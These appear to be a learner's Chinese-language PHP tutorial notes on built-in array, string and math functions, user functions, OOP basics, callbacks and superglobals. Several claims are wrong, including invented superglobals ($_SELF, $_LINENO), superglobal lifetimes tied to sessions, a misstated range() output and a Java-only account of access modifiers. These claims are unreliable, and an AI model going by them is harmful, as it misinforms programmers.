小技巧
如此这般,就可以少了很多麻烦的步骤
1 系统内部函数
1.1 数组元素操作函数
函数名称 功能描述 array_pop() 将数组最后一个元素弹出(出栈) array_push() 将一个或多个元素压入数组的末尾(入栈) array_unshift() 在数组开头插入一个或多个元素 array_shift() 将数组开头的元素移出数组 array_unique() 移除数组中重复的值 array_slice() 从数组中截取部分数组 array_splice() 将数组中的一部分元素去掉并用其他值取代 <?php echo "<pre>"; echo "原数组为:"; $arr = [" WangLuo ","AnQuan "," hello "," world"]; print_r($arr); echo "<hr>"; echo "1.array_pop() 将数组最后一个元素弹出(出栈)"."<br>"; $a = array_pop($arr); //移除数组最后一个元素 print_r($arr); //移除后,剩下的数组 echo "移除的values是:".$a."<br>"; echo "<hr>"; array_push($arr,"MoWei"); //数组末尾添加元素 echo "2.array_push 数组末尾添加元素"."<br>"; //移除后,剩下的数组 print_r($arr); echo "<hr>"; array_unshift($arr,1,"Start","Start","hello","World","Second"); //在数组前面添加一个或多个元素values echo "3.array_unshift 在数组前面添加一个或多个元素values"."<br>"; print_r($arr); echo "<hr>"; array_shift($arr); //移除第一个元素 echo "4.array_shift 移除第一个元素"; print_r($arr); echo "<hr>"; $b = array_unique($arr); //移除数组中重复的值 echo "5.array_unique 移除数组中重复的值"."<br>"; print_r($arr); print_r($b); echo "<hr>"; $c = array_slice($arr,1,3); //从数组中取出一段元素,范围是下标为[1,3],即是第2到第4个,并且再创建一个新的数组$c储存取出的元素 echo "6.array_slice 从数组中取出一段元素,范围是下标为[1,3],即是第2到第4个,并且再创建一个新的数组储存取出的元素"."<br>"; print_r($arr); //操作后剩下的数组 print_r($c); //抽取出来的数组 echo "<hr>"; $d = array_splice($arr,1,2,array("LOOK Here")); //从数组中移除或替换一段元素,并将被移除的元素替换为新的元素,并且再创建一个新的数组$d储存取出的元素 echo "7.array_splice 从数组中移除或替换一段元素,并将被移除的元素替换为新的元素,并且再创建一个新的数组储存取出的元素"."<br>"; echo "“LOOK Here”这一个元素顶替了原本下标为1和2的元素的两个位置"."<br>"; print_r($arr); //操作后剩下的数组,"LOOK Here"这一个元素顶替了原本下标为1和2的元素的两个位置 print_r($d); echo "<pre>"; ?>
注意: 即便是在"哈哈封杀$c还富含",这样的一个字符里,也是不能用到变量,容易出问题
1.2 检索函数
内置函数,查找
函数名称 功能描述 in_array() 检查数组中是否存在某个值 ,返回值类型为布尔型,true或者false array_search() 在数组中搜索给定的值,如果成功则返回相应的键名key array_key_exists() 检查给定的键名是否存在于数组中,返回值类型为布尔型,true或者false <?php echo "<pre>"; # 1. in_array()函数用于检查一个值是否存在于数组中。 $fruits = array("apple", "banana", "orange"); echo "1. in_array()函数用于检查一个值是否存在于数组中"."<br>"; echo "原数组:"; print_r($fruits); echo "查找:banana"."<br>"; if(in_array("banana", $fruits)){ echo "存在"; } else { echo "不存在"; } echo '<hr/>'; # 2. array_search()函数用于在数组中搜索给定的值,并返回对应的键名key。 $fruits = array("apple", "banana", "orange"); $key = array_search("banana", $fruits); echo "2. array_search()函数用于在数组中搜索给定的值,并返回对应的键名key"."<br>"; echo "原数组:"; print_r($fruits); echo "查找的键值values为banana"."<br>"; echo "键名"; if ($key !== false) { echo "key: " . $key; } else { echo "不存在"; } echo '<hr/>'; # 3. array_key_exists()函数用于检查一个数组中是否存在指定的键名key。 $fruits = array("apple" => 1, "banana" => 2, "orange" => 3); echo "3. array_key_exists()函数用于检查一个数组中是否存在指定的键名key"."<br>"; echo "原数组:"; print_r($fruits); echo "检查的键值values为banana,键名是否存在?:"."<br>"; if (array_key_exists("banana", $fruits)) { echo "存在"; } else { echo "不存在"; } echo '<hr/>'; echo "<pre>"; ?>
序号 函数名称 功能描述 1 count() 计算数组中的元素数目或对象的属性个数 2 range() 建立一个包含指定范围元素的数组 3 array_rand() 从数组中随机取出一个或多个元素 4 array_keys() 获取数组中部分的或所有的键名 5 array_values() 获取数组中所有的值 6 array_column() 获取数组中指定的一列 7 array_sum() 计算数组中所有价值的和 8 array_reverse() 返回一个元素顺序相反的数组 9 array merge() 合并一个或多个数组 10 array flip() 交换数组中的键和值 11 array combine() 创建数组,用一个数组的值作为其键名,另一个数组的值作为其值 12 array chunk() 将一个数组分割成多个 13 array fill() 用给定的值填充数组 14 array replace() 使用传递的数组替换第一个数组的元素 15 array map() 为数组中的每个元素应用回调函数 16 array walk() 使用自定义函数对数组中的每个元素做回调处理 <?php echo "<pre>"; # 1. count()函数用于返回数组中元素的个数。 $array = [1, 2, 3, 4, 5]; $count = count($array); echo "1. count()函数用于返回数组中元素的个数"."<br>"; echo "原数组是:"; print_r($array); echo "数组元素的个数为:"; echo $count; // 输出:5 echo '<hr/>'; # 2. range()函数用于创建一个包含指定范围内元素的数组。 $numbers = range(1, 4); echo "2. range()函数用于创建一个包含指定范围内元素的数组"."<br>"; echo "范围在1-4的数组为:"; print_r($numbers); // 输出:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 ) echo '<hr/>'; # 3. array_rand()函数用于从数组中随机选择一个或多个键。 $colors = ['red', 'green', 'blue', 'yellow']; $randomKey = array_rand($colors); echo "3. array_rand()函数用于从数组中随机选择一个或多个键"."<br>"; echo "原数组是:"; print_r($colors); echo "随机选择的颜色为:"; echo $colors[$randomKey]; // 输出:随机选择的颜色 echo '<hr/>'; # 4. array_keys()函数用于返回数组中所有的键名。 $fruits = ['apple' => 'red', 'banana' => 'yellow', 'orange' => 'orange']; $keys = array_keys($fruits); echo "4. array_keys()函数用于返回数组中所有的键名"."<br>"; echo "原数组是:"; print_r($fruits); echo "数组中所有的键名key为:"; print_r($keys); // 输出:Array ( [0] => apple [1] => banana [2] => orange ) echo '<hr/>'; # 5. array_values()函数用于返回数组中所有的值。 $fruits = ['apple' => 'red', 'banana' => 'yellow', 'orange' => 'orange']; $values = array_values($fruits); echo "5. array_values()函数用于返回数组中所有的值values"."<br>"; echo "原数组是:"; print_r($fruits); echo "数组中所有的键值values为:"; print_r($values); // 输出:Array ( [0] => red [1] => yellow [2] => orange ) echo '<hr/>'; # 6. array_column()函数用于返回数组中指定的一列。 $students = [ ['name' => 'John', 'age' => 20], ['name' => 'Jane', 'age' => 22], ['name' => 'Tom', 'age' => 21] ]; $names = array_column($students, 'name'); //指定name这列 echo "6. array_column()函数用于返回数组中指定的一列,即键名key"."<br>"; echo "原数组是:"; print_r($students); echo "数组中键名key为name的一列为:"; print_r($names); // 输出:Array ( [0] => John [1] => Jane [2] => Tom ) echo '<hr/>'; # 7. array_sum()函数用于计算数组中所有值的和。 $numbers = [1, 2, 3, 4, 5]; $sum = array_sum($numbers); echo "7. array_sum()函数用于计算数组中所有值的和"."<br>"; echo "原数组是:"; print_r($numbers); echo "数组中所有值的和为:"; echo $sum; // 输出:15 echo '<hr/>'; # 8. array_reverse()函数用于将c。 $numbers = [1, 2, 3, 4, 5]; $reversed = array_reverse($numbers); echo "8. array_reverse()函数用于将数组中的元素顺序反转"."<br>"; echo "原数组是:"; print_r($numbers); echo "c数组中的元素顺序反转为:"; print_r($reversed); // 输出:Array ( [0] => 5 [1] => 4 [2] => 3 [3] => 2 [4] => 1 ) echo '<hr/>'; # 9. array_merge(): 将一个或多个数组合并为一个数组。 $array1 = array('red', 'green'); $array2 = array('blue', 'yellow'); $result = array_merge($array1, $array2); echo "9. array_merge(): 将一个或多个数组合并为一个数组"."<br>"; echo "原数组1是:"; print_r($array1); echo "原数组2是:"; print_r($array2); echo "两数组合并起来的数组为:"; print_r($result); // 输出:Array ( [0] => red [1] => green [2] => blue [3] => yellow ) echo '<hr/>'; # 10. array_flip(): 交换数组中的键和值。 $array = array('a' => 1, 'b' => 2, 'c' => 3); $result = array_flip($array); echo "10. array_flip(): 交换数组中的键和值"."<br>"; echo "原数组是:"; print_r($array); echo "交换数组中的键和值后为:"; print_r($result); // 输出:Array ( [1] => a [2] => b [3] => c ) echo '<hr/>'; # 11. array_combine(): 创建一个新数组,使用一个数组的值作为键名,另一个数组的值作为键值。 $keys = array('a', 'b', 'c'); $values = array(1, 2, 3); $result = array_combine($keys, $values); echo "11. array_combine(): 创建一个新数组,使用一个数组的值作为键名,另一个数组的值作为键值"."<br>"; echo "原数组keys是:"; print_r($keys); echo "原数组values是:"; print_r($values); echo "两数组组建起来的新数组为:"; print_r($result); // 输出:Array ( [a] => 1 [b] => 2 [c] => 3 ) echo '<hr/>'; # 12. array_chunk(): 将一个数组分割成多个数组,每个数组包含指定数量的元素。 $array = array('a', 'b', 'c', 'd', 'e'); $result = array_chunk($array, 2); echo "12. array_chunk(): 将一个数组分割成多个数组,每个数组包含指定数量的元素"."<br>"; echo "原数组array是:"; print_r($array); echo "分割后的数组为:"; print_r($result); // 输出:Array ( [0] => Array ( [0] => a [1] => b ) [1] => Array ( [0] => c [1] => d ) [2] => Array ( [0] => e ) ) echo '<hr/>'; # 13. array_fill(): 用给定的值填充数组。 $result = array_fill(0, 3, 'apple'); echo "13. array_fill(): 用给定的值填充数组"."<br>"; echo "直接创建和填充数组一起进行,得到数组为:"; print_r($result); // 输出:Array ( [0] => apple [1] => apple [2] => apple ) echo '<hr/>'; # 14. array_replace(): 使用后面数组的值替换第一个数组的值。 $array1 = array('a' => 1, 'b' => 2); $array2 = array('b' => 3, 'c' => 4); $result = array_replace($array1, $array2); echo "14. array_replace(): 使用后面数组的值替换第一个数组的值"."<br>"; echo "原数组array1是:"; print_r($array1); echo "原数组array2是:"; print_r($array2); echo "后面数组array2的键值values替换第一个数组array1的键值values,新数组为:"; print_r($result); // 输出:Array ( [a] => 1 [b] => 3 [c] => 4 ) echo '<hr/>'; # 15. array_map(): 将回调函数作用到给定数组的每个元素上,并返回一个新的数组。 $array = array(1, 2, 3); $result = array_map(function($value) { return $value * 2; //返回的值是数组内的values * 2 }, $array); echo "15. array_map(): 将回调函数作用到给定数组的每个元素上,并返回一个新的数组"."<br>"; echo "原数组array是:"; print_r($array); echo "返回值的的操作是:values * 2 "."<br>"; echo "回调后并且作用到一个新函数result,新数组result为:"; print_r($result); // 输出:Array ( [0] => 2 [1] => 4 [2] => 6 ) echo '<hr/>'; # 16. array_walk(): 对数组中的每个元素应用用户自定义的函数。 $array = array('a' => 3, 'b' => 4, 'c' => 7); echo "16. array_walk(): 对数组中的每个元素应用用户自定义的函数"."<br>"; echo "原数组array是:"; print_r($array); array_walk($array, function(&$value, $key) { $value = $value * 3; }); echo "数组中的每个元素的定义应用是:values * 3 "."<br>"; echo "函数操作后的新数组,新array为:"; print_r($array); // 输出:Array ( [a] => 9 [b] => 12 [c] => 21 ) echo "<pre>"; ?>
1.3. 字符串函数
.1大小写转换
<?php echo "<pre>"; # 1.转换大小写 小转大:( up ) strtoupper();大转小 (low) strtolower() $str = "ABCdef"; $a_A = strtoupper($str); $A_a = strtolower($str); echo "原字符串为:"; echo $str."<hr>"; echo "小->大,str to up per:"; echo $a_A."<br>"; echo "大->小,str to low er:"; echo $A_a; echo "<pre>"; ?>
序号 函数名称 功能描述 1 strlen() 获取字符串的长度 /n*strlen (str);, UTL-8; 2 strpos() 查找字符首次出现的位置 /n*strpos(string, substr);,UTL-8; 3 strpos() 获取指定字符在目标字符串中最后一次出现的位置 /n*strpos(string, target); 4 str replace () 用于字符串中的某些字符进行替换操作 /n*str replace (target, replacer); 5 substr() 用于获取字符串中的子串 /n*substr(string, start, length); 6 explode() 使用一个字符串分割另一个字符串 /n*explode(string, delimiters); 7 implode() 用指定的连接符将数组拼接成一个字符串 /n*implode(array, delimiter); 8 trim() 去除字符串首尾处的空白字符(或指定成其他字符) /n*trim(); 9 str repeat() 重复一个字符串 /n*str repeat (string, count); 10 strmpq() 用于判断两个字符串的大小(比较ascii码:>=65>=65, <<=97) /n*strmpq(string1, string2);
<?php echo "<pre>"; //1. strlen():用于获取字符串的长度(string length)。 $str = "Hello World"; echo "1. strlen():用于获取字符串的长度(string length)"."<br>"; echo "原字符串str是:"; echo $str."<br>"; echo "字符串的长度是:"; echo strlen($str); // 输出:11 echo '<hr/>'; // 2. strpos():用于查找字符串中另一个字符串第一次出现的位置(string position)。 $str = "Hello World"; echo "2. strpos():用于查找字符串中另一个字符串第一次出现的位置(string position)"."<br>"; echo "原字符串str是:"; echo $str."<br>"; echo "字符串World第一次出现的位置是:"; echo strpos($str, "World"); // 输出:6 echo '<hr/>'; // 3. strrpos():用于查找字符串中另一个字符串最后一次出现的位置(string reverse position)。 $str = "Hello World"; echo "3. strrpos():用于查找字符串中另一个字符串最后一次出现的位置(string reverse position)"."<br>"; echo "原字符串str是:"; echo $str."<br>"; echo "字符串l最后一次出现的位置是:"; echo strrpos($str, "l"); // 输出 9: echo '<hr/>'; // 4. str_replace():用于将字符串中的一部分替换为另一个字符串。 $str = "Hello World"; echo "4. str_replace():用于将字符串中的一部分替换为另一个字符串,后替前"."<br>"; echo "原字符串str是:"; echo $str."<br>"; echo "字符串Universe替换了World后的新字符串str是:"; echo str_replace("World", "Universe", $str); // 输出:Hello Universe echo '<hr/>'; //5. substr():用于获取字符串的一部分(substring)。 $str = "Hello World"; $i = rand(0,10); //设置随机位置 echo "5. substr():用于获取字符串的一部分(substring)"."<br>"; echo "原字符串str是:"; echo $str."<br>"; echo "从第".$i."处位置开始获取的字符串是:"; echo substr($str, $i); // 输出:World echo '<hr/>'; //6. explode():用于将字符串拆分为数组。 $str = "Hello,World"; $arr = explode(",", $str); echo "6. explode():用于将字符串拆分为数组"."<br>"; echo "原字符串str是:"; echo $str."<br>"; echo "拆解分成的组是:"; print_r($arr); // 输出:Array ( [0] => Hello [1] => World ) echo '<hr/>'; //7. implode():用于将数组元素连接成字符串。 $arr = array("Hello", "World"); $str = implode(" ", $arr); echo "7. implode():用于将数组元素连接成字符串"."<br>"; echo "原数组arr是:"; print_r($arr)."<br>"; echo "组成的字符串str是:"; echo $str; // 输出:Hello World echo '<hr/>'; //8. trim():用于去除字符串两端的空格或指定字符。 $str = " Hello World "; $str2="Hello World!"; echo "8. trim():用于去除字符串两端的空格或指定字符"."<br>"; echo "原字符串str是:"; print_r($str); echo "<br>"; echo "原字符串str2是:"; print_r($str2)."<br>"; echo "<br>"; echo "函数操作后的str是:"; echo trim($str); // 输出:Hello World echo '<br/>'; echo "函数操作后的str2是:"; echo trim($str2); echo '<hr/>'; //9. str_repeat():用于重复字符串指定次数。 $str = "Hello "; echo "9. str_repeat():用于重复字符串指定次数"."<br>"; echo "原字符串str是:"; print_r($str); echo str_repeat($str, 3); // 输出:Hello Hello Hello echo '<hr/>'; //10. strcmp():用于比较两个字符串(string compare)。 $str1 = "Hello"; $str2 = "World"; echo "10. strcmp():用于比较两个字符串(string compare)"."<br>"; echo "原字符串str1是:"; print_r($str1); echo '<br/>'; echo "原字符串str2是:"; print_r($str2); echo '<br/>'; echo strcmp($str1, $str2); // 输出:-1 echo "<pre>"; ?>
1.4 数学函数
<?php const hr='<hr/>'; #1. abs() 函数用于返回一个数的绝对值。 $num = -10; echo abs($num); // 输出:10 echo hr; #2. ceil() 函数用于向上取整,返回大于或等于指定数字的最小整数。 $num = 4.3; echo ceil($num); // 输出:5 echo hr; #3. floor() 函数用于向下取整,返回小于或等于指定数字的最大整数。 $num = 4.7; echo floor($num); // 输出:4 echo hr; #4. fmod() 函数用于返回两个数的浮点数余数。 $num1 = 10.5; $num2 = 3; echo fmod($num1, $num2); // 输出:1.5 echo hr; #5. is_nan() 函数用于检查一个值是否为非数字(NaN)。 $num = acos(8);//acos()函数返回一个角度的反余弦值,范围在0到π之间。如果提供的值超出范围(-1到+1除外),acos()函数将返回NaN(非数字)。 echo $num; echo '<br/>'; var_dump(is_nan($num)); // 输出:bool(true) echo hr; #6. max() 函数用于返回一组数中的最大值。 $num1 = 10; $num2 = 20; $num3 = 15; echo max($num1, $num2, $num3); // 输出:20 echo hr; #7. min() 函数用于返回一组数中的最小值。 $num1 = 10; $num2 = 20; $num3 = 15; echo min($num1, $num2, $num3); // 输出:10 echo hr; #8. pi() 函数用于返回圆周率的值。 echo pi(); // 输出:3.1415926535898 echo hr; #9. pow() 函数用于返回一个数的指定次幂。 $num = 2; $power = 3; echo pow($num, $power); // 输出:8 echo hr; #10. sqrt() 函数用于返回一个数的平方根。 $num = 16; echo sqrt($num); // 输出:4 echo hr; #11. round() 函数用于对一个数进行四舍五入。 $num = 4.6; echo round($num); // 输出:5 echo hr; #12. rand() 函数用于生成一个随机整数。 echo rand(); // 输出:随机整数 echo '<br/>'; echo getrandmax();//返回系统所能生成的最大随机数 ?>
2. 自定义函数函数
函数:系统内部函数和自定义函数
系统内部函数:不需要自己写的函数属于内部函数,开发人员直接给你定义好了,可以直接调用
自定义函数:需要自己写的属于自定义函数
使用一个函数时,只需要关心参数和返回值
2.1 自定义函数
框架
function 函数名(参数){
实现功能代码段;
return 返回值;
}
<?php
function sum($a, $b){ // function 关键字,表示你要定义函数,sum是函数的唯一名字,调用时需要使用,参数有没有取决于后面调用函数时是否用到参数
$x = $a+$b;
return $x; //return函数的返回值,调用函数的时候可以被接收
}
$re = sum(1,2); //$re用于接收函数返回值的变量,xy()调用函数,1,2分别对应$a,$b参数
var_dump($re);
?><?php const hr="<hr/>"; const br="<br>"; const pre="<pre>"; #函数类的代码只有被调用的时候才会被执行,在定义函数时,函数内的代码不会执行 function product($a,$b,$c){ //此处的参数为形参 #求积函数 $x = $a * $b * $c; return $x; //这里相当于break的作用了,定义的功能代码只会执行到return处,还在这一块的处于return后的代码,不会被执行了 echo "求积函数:输入2,3,4".br; //不会执行 echo "乘积product:"; //不会执行 } echo "求积函数:输入2,3,4".br; echo "乘积product:"; $y = product(2,3,4); //此处的参数为实参 echo $y; ?>
注意看代码里的注释
<?php const hr="<hr/>"; const br="<br>"; const pre="<pre>"; function demo(){ return "测试"; } $y = demo(); echo $y; ?>
<?php const hr="<hr/>"; const br="<br>"; const pre="<pre>"; function demo(){ echo "胡歌,李逍遥".br; return "测试"; } $y = demo(); echo $y; ?>
2.1.1 参数问题
注意:默认值必须是常量表达式,不能是变量。如果函数有多个参数,可以为多个参数指定默认值。但是,带默认值的参数只能位于参数列表的最后,即一个默认值参数的右边不能出现没有指定参数值的参数。
# 对的函数:
function setPoint($x,$z,$y=0){
echo "{".$x.",".$y.",".$z."}";
}
setPoint(5,90);
# 错误的函数
function setPoint($x,$y=90,$z){
echo "{".$x.",".$y.",".$z."}";
}
setPoint(5,0);
上述中,第一个是对的,第二个是错误的
.1 默认值参数
函数参数在设置时,还可以为其指定默认值,也就是可选参数。当调用者未传递该参数时,函数将使用默认值进行操作。
<?php function say($p, $con = '"Hello"') { return "$p say $con"; } echo say('Tom'); ?>
// 输出结果:Tom say “Hello”
.2 引用传参
在开发中,若需要函数修改它的参数值,则需通过函数参数的引用传递。实现方式只需在参数前添加“&”符号即可
<?php $var = 'food'; extra($var); // 输出结果:food and some extra echo $var; function extra(&$str) { $str .= ' and some extra'; } ?>
或许这个更明显
<?php const hr = "<hr>"; const br = "<br>"; function modify($string) { $string = '我这下雪啦'; } $str = '你那下雪啦吗?'; modify($str); echo $str; // 输出:'你那下雪啦吗?' echo hr; function modify2(&$string) { $string = '我这下雪啦'; } $str = '你那下雪啦吗?'; modify2($str); echo $str; // 输出:'我这下雪啦' ?>
.3 参数设置
在PHP 7.0及以上的版本后,在自定义函数时,可以指定参数具体是哪种数据类型。当用户调用函数时,如果传递的参数不是int类型,程序会将其强制的转换为int型后,再进行操作,这种方式称为弱类型参数设置。
1.类型
<?php const hr = "<hr>"; const br = "<br>"; function sum1(int $a, int $b) { return $a + $b; } echo sum1(2.6, 3.8); // 输出结果:5 echo $str; // 输出:'我这下雪啦' ?>
强制一下呢?
加个declare(strict_types = 1);
<?php const hr = "<hr>"; const br = "<br>"; declare(strict_types = 1); function sum1(int $a, int $b) { return $a + $b; } echo sum1(2.6, 3.8); // 输出结果:5 echo $str; // 输出:'我这下雪啦' ?>
有一个小错误:这个错误是因为在PHP脚本中,strict_types声明必须放在脚本的最开始。请检查您的test.php文件,确保在第5行之前没有其他代码。
在此基础上再把数据给改为整型呢?
2.3改为2,4.8改为4
<?php declare(strict_types = 1); const hr = "<hr>"; const br = "<br>"; function sum1(int $a, int $b) { return $a + $b; } echo sum1(2, 4); // 输出结果:6 ?>
2.在函数中使用全局变量
全局变量和超全局变量的差别主要体现在它们的作用域和生命周期上。
作用域:
- 全局变量:在函数外部定义的变量,可以在整个脚本中访问。
- 超全局变量:在 PHP 中,有四个超全局变量,分别是 GET、GET、_POST、COOKIE和COOKIE和_SESSION。这些变量可以在脚本的任何地方访问,包括函数内部。
生命周期:
- 全局变量:全局变量的生命周期从声明开始,直到脚本执行结束。
- 超全局变量:超全局变量的生命周期与 PHP 会话(session)相关。当会话开始时,这些变量被创建;当会话结束时,这些变量被销毁。因此,它们的生命周期取决于用户的会话状态。
global->关键字 $GLOBAL[变量名]
global $x; $x=$GLOBALS['x'];
静态变量的生命周期与全局变量是一样的
static $i =1;
<?php echo "局部变量 变量¥i = 1"."<br>"; function num() { $i = 1; echo $i; ++$i; } echo num().'<br/>'; echo num().'<br/>'; echo num(); echo "<hr>"; echo "静态变量static 变量¥i = 1"."<br>"; function num2() { static $i = 1; echo $i; ++$i; } echo num2().'<br/>'; echo num2().'<br/>'; echo num2(); ?>
建议debug一下,看看整个过程和每个过程所产生的值就好了
3. 面向对象
面向对象是一种编程思想,它将程序中的数据和操作封装在对象中,通过对象之间的交互来实现程序的功能。面向对象的编程主要关注对象的行为和状态,通过定义类来创建对象,并通过调用对象的方法来实现操作。
特点:封装、继承、多态
编写一个类型的方式:
class 类型名称{
属性;
方法;
}
创建对象的方式:
变量 = new 类型名称();
调用对象的属性或者方法:
变量名->属性名 / 方法名();
封装:将数据和行为组织在一起,形成一个独立的实体,使得对象的内部细节对外隐藏,只暴露一些接口
继承:允许一个类从另一个类去获得属性和方法,这意味着你可以去创建一个更加具体的类去继承父类的特征,也可以通过添加,修改的一些功能来拓展类
多态:允许不同的对象以相同的方式去响应相同的方法,通过这种方式可以用相同的代码来处理不同类型的对象
3.1 封装
<?php
/*
1.class 类型名称{
属性;
方法;
}
2. 创建对象的方式:
变量 = new 类型名称();
3. 调用对象的属性或者方法:
变量名->属性名/方法名();
*/
/*1.class 类型名称{
属性;
方法;
}
*/
class Site{ //类
# 属性
var $url;
var $title;
#方法
#把传入的参数去赋值给属性
function setUrl($par){
$this->url = $par; //this,类的内部使用的属性
}
function setTitle($par){
$this->title = $par;
}
}
/*2. 创建对象的方式:
变量 = new 类型名称();
*/
#创建对象,通过new这个关键字
$runoob = new Site();
$taobao = new Site();
$google = new Site();
/*3. 调用对象的属性或者方法:
变量名->属性名/方法名();
*/
#调用成员函数,显示标题和url
$runoob->setUrl("www.runoob.com");
$taobao->setUrl("www.taobao.com");
$google->setUrl("www.google.com");
$runoob->setTitle("菜鸟教程");
$taobao->setTitle("淘宝");
$google->setTitle("google一下");
?>
3.1.1 构造函数
语法格式:
function __construct([参数1、参数2、参数3......]){ $this->属性1=参数1; $this->属性2=参数2; $this->属性3=参数3; ...... }
构造函数是在创建一个对象时自动调用的特殊方法。它的主要作用是初始化对象的属性和执行一些必要的操作。在PHP中,使用关键字__construct来定义。
当使用new关键字创建一个对象时,构造函数会被自动调用。<?php /* 1.class 类型名称{ 属性; 方法; } 2. 创建对象的方式: 变量 = new 类型名称(); 3. 调用对象的属性或者方法: 变量名->属性名/方法名(); */ /*1.class 类型名称{ 属性; 方法; } */ const hr = "<hr>"; const br = "<br>"; const pre = "<pre>"; class Site{ //类 # 属性 public $url; public $title; //1.构造函数,并设置属性 public function __construct($url ="",$title =""){ $this->url = $url; $this->title = $title; } #方法 #把传入的参数去赋值给属性 function setUrl($par){ $this->url = $par; //this,类的内部使用的属性 } function setTitle($par){ $this->title = $par; } #添加一个显示参数的方法 function display() { return "URL:".$this->url.",Title:".$this->title.br; } } //2.创建对象,并在创建时设置初始值 $runoob = new Site("www.runoob.com","菜鸟教程"); $taobao = new Site("www.taobao.com","淘宝"); $google = new Site("www.google.com","google一下"); //3.调用display方法查看结果 echo $runoob->display();//输出: echo $taobao->display();//输出: echo $google->display();//输出: ?>
注意:
1.__construct,是两个英文下横线,
2.所有的function方法都是在class Site{}的这个类的循环体内,都是被封装好的了
3.1.2 访问级别和类
在Java中,函数前缀指的是函数的访问修饰符。常见的访问修饰符有:public、private、protected和默认(没有修饰符)。
public:表示该函数可以被任何其他类访问。它是最宽松的访问级别,通常用于定义公共接口或者实现公共功能。
private:表示该函数只能在当前类内部访问。它提供了封装性,限制了外部对类内部成员的访问。
protected:表示该函数可以在同一个包内的其他类以及子类中访问。它介于public和private之间,适用于需要被子类继承的情况。
默认(没有修饰符):表示该函数只能在同一个包内的其他类访问。这是最严格的访问级别,通常用于实现类的内部逻辑。
对于main函数,它是一个特殊的入口点,通常定义为public static void main(String[] args)。这是因为main函数是程序的入口点,需要被JVM调用,所以需要设置为public。同时,main函数不需要实例化对象,所以使用static关键字。最后,main函数的返回类型为void,因为它不需要返回任何值。
3.2 继承
PHP使用关键字extends来继承一个类通过继承机制,一个类可以从另一个类继承属性和方法,减少了代码的重复编写,提高了代码的可扩展性和灵活性
<?php
/*
1.class 类型名称{
属性;
方法;
}
2. 创建对象的方式:
变量 = new 类型名称();
3. 调用对象的属性或者方法:
变量名->属性名/方法名();
*/
/*1.class 类型名称{
属性;
方法;
}
*/
const hr = "<hr>";
const br = "<br>";
const pre = "<pre>";
//继承
//定义一个父类
class Animal{
public function makeSound(){
echo "Animal makes sound";
}
}
//定义一个子类并继承父类
class Dog extends Animal{
public function makeSound(){
echo "Dog barks";
}
}
?>
如果父类修改代码的话,子类也会相对应有变化的,不用自己重新修改
3.3 多态
多态是指子类重写父类的方法。当子类对象调用该方法时,会执行子类中的方法而不是
父类中的方法。这样可以实现不同对象对同一方法的不同实现。
<?php /* 1.class 类型名称{ 属性; 方法; } 2. 创建对象的方式: 变量 = new 类型名称(); 3. 调用对象的属性或者方法: 变量名->属性名/方法名(); */ /*1.class 类型名称{ 属性; 方法; } */ const hr = "<hr>"; const br = "<br>"; const pre = "<pre>"; //继承 //定义一个父类 class Animal{ public function makeSound(){ echo "Animal makes sound".br; } } //定义一个子类并继承父类 class Dog extends Animal{ public function makeSound(){ echo "Dog barks".br; } } //多态 //子类重写父类 //定义另一个子类,继承父类 class Cat extends Animal{ public function makeSound(){ //多态体现 #这个就是重写了父类中的makeSound()函数的功能了 echo "cat meows".br; } } //创建对象并调用方法 $animal1 = new Animal(); $animal1->makeSound();//输出Animal makes sound $animal2 = new Dog(); $animal2->makeSound();//输出Dog barks $animal3 = new Cat(); $animal3->makeSound();//输出cat meows,多态体现 ?>
多注意代码中注释部分
4. 函数的高级应用
4.1 可变函数
可变函数的实现就是在一个变量名后添加一对圆括号“()”,让其变成一个函数的形式,然后PHP就寻找与变量值同名的函数,并且尝试执行它。
<?php
function demo(){
echo "去你丫的";
}
$de = demo(); //虚假的可变函数例子
echo $de."<br>";
$de = "demo"; //真实的可变函数例子,函数名赋值给变量
echo $de(); //在变量后面加上(),将变量变成一个函数
?>
4.2 回调函数
回调函数(callback):指的就是具有callable类型的函数,一般用作参数的传递。PHP内置函数call_user_func()可以接受用户自定义的回调函数作为参数。
就是把函数作为参数传入进另一个函数中使用
<?php
function hd($id,$name,$age){
echo $id."号佳丽,".$name.",".$age."年华"."<br>";//这样表达很拉跨,且烦
echo "我是$id 号佳丽,$name , $age 的我光彩夺目<hr>"; //这样好一点
//注意,变量与中文之间要隔开,否则就容易被认为是一个字符,编译时会出现字符串违规的类似警告
}
call_user_func("hd","1","邱淑贞","二八");
call_user_func("hd","2","王祖贤","豆蔻");
call_user_func("hd","3","工藤静香","花样");
call_user_func("hd","4","陈法蓉","水木");
?>
4.3 匿名函数
就是没有函数名称的函数,也称作闭包函数,经常用作回调函数参数的值。对于临时定义的函数,使用匿名函数无需考虑函数命名冲突的问题
<?php
$sum = function ($a,$b){ //匿名函数
return $a + $b;
}; //注意这个分号,这里有个分号的
echo $sum(2,3)."<br>";
?>
匿名函数可以直接把赋数赋值给变量,匿名函数仍然是函数,可以传入参数,直接把赋数赋值给变量,调用变量即为调用函数。
<?php
$c = 300;
$sum = function($a,$b)use($c) { //匿名函数使用外部变量
return $a + $b + $c;
};
echo $sum(10, 20); // 输出结果:330
?>
4.4 时间日期函数
函数名称 | 功能描述 |
time() | 获取当前的Unix时间戳 |
date() | 格式化一个本地时间/日期 |
mktime() | 获取指定日期的Unix时间戳 |
strtotime() | 将字符串转化成Unix时间戳 |
microtime() | 获取当前Unix时间戳和微秒数 |
Unix时间戳是一种时间的表示方式,它是为了解决编程环境中时间运算的问题。
5. PHP与Web交互
最常见的交互,就是登录界面了,一个username,一个password,然后点击登录按钮,就完成了一次交互
5.1 超全局变量
超全局变量 作用 $_SERVER
包含服务器环境信息,如服务器名称、请求方法、请求URI等。 $_GET
存储通过URL查询字符串传递的参数,收集 method="get" 的表单中的值$_POST
存储表单提交的数据。,比get请求会更加的安全 $_FILES
存储上传的文件信息。 $_REQUEST
包含 $_GET
,$_POST
和$_COOKIE
的内容。$_SESSION
存储会话数据,用于跨页面访问用户信息。 $_COOKIE
存储cookie信息。 $_ENV
包含环境变量的信息。 $_GLOBALS
包含所有全局变量的引用。 $_SELF
当前执行脚本的文件名。 $_DOCUMENT_ROOT
当前运行脚本所在的文档根目录。 $_SCRIPT_FILENAME
当前执行脚本的绝对路径。 $_SCRIPT_NAME
当前执行脚本的文件名。 $_HTTP_RAW_POST_DATA
原生POST数据。 $_CONSTANTS
包含所有已定义的常量。 $_LINENO
当前行号。
三个标红的最常见了
5.1.1 $_GET
